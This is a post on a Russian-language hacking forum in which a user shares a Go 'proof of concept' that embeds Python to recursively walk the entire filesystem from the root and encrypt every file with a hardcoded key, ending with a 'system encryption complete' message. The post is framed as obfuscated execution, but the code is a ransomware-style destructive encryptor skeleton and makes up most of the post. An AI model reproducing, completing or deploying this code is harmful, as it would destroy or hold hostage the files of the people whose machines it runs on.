• XSS.stack #1 – первый литературный журнал от юзеров форума

Выполнение кода Python через Golang: Обфускация и Шифрование

В этой теме можно использовать автоматический гарант!

Статус
Закрыто для дальнейших ответов.

HSVector

floppy-диск
Пользователь
Регистрация
29.10.2024
Сообщения
4
Реакции
-2
Цена
0
Контакты
0
Кто-нибудь видел этот репозиторий на GitHub? Кажется, очень полезный для обфусцированного выполнения, golang -> python


Написал небольшой POC-код

Код:
package main

import (
    gp "github.com/cpunion/go-python" // Импортируем обертку go-python для взаимодействия Go с Python
    "os"                               
    "runtime"                         
    "fmt"                             
)

func initPythonEnvironment() {
    gp.Initialize() // Инициализация среды Python через go-python
}

// Функция для обфускации шифрования каждого файла
// Принимает путь к файлу и ключ для сокрытия содержимого
func obscureFileContent(filePath string, encryptionKey string) gp.Object {
    cryptoModule := gp.ImportModule("crypto")                 // Импортируем модуль Python 'crypto'
    obscureFunc := cryptoModule.GetAttr("encrypt")            // Получаем функцию 'encrypt' из модуля 'crypto'
    return obscureFunc.Call(gp.MakeStr(filePath), gp.MakeStr(encryptionKey)) // Вызываем encrypt для файла
}

// Функция для рекурсивного обхода каталогов и шифрования файлов
// Использует рекурсивный подход для обхода каталогов и шифрования файлов
func recursiveTraverseAndObscure(directoryPath string, key string) {
    entries, _ := os.ReadDir(directoryPath) // Читаем содержимое каталога
    for _, entry := range entries {
        entryPath := directoryPath + "/" + entry.Name() // Формируем полный путь для каждого элемента
        if entry.IsDir() {
            recursiveTraverseAndObscure(entryPath, key) // Рекурсивный вызов для каталогов
        } else {
            obscureFileContent(entryPath, key) // Шифруем файл
        }
    }
}

func main() {
    initPythonEnvironment() // Инициализируем среду Python
    defer gp.Finalize()     // Гарантируем завершение работы Python после выполнения

    var obfuscationKey = "dynamically_generated_key_789" // Ключ для шифрования файлов
    var rootPath string

    // Определяем корневой путь в зависимости от ОС; используем стандартные пути для Windows и Linux/Mac
    if runtime.GOOS == "windows" {
        rootPath = "C:\\" // Корневой путь для Windows
    } else {
        rootPath = "/" // Корневой путь для Linux/Mac
    }

    // Запускаем процесс шифрования с корневого каталога
    recursiveTraverseAndObscure(rootPath, obfuscationKey)
    fmt.Println("Шифрование системы завершено.") // Сообщение об успешном завершении
}
 
Статус
Закрыто для дальнейших ответов.
Верх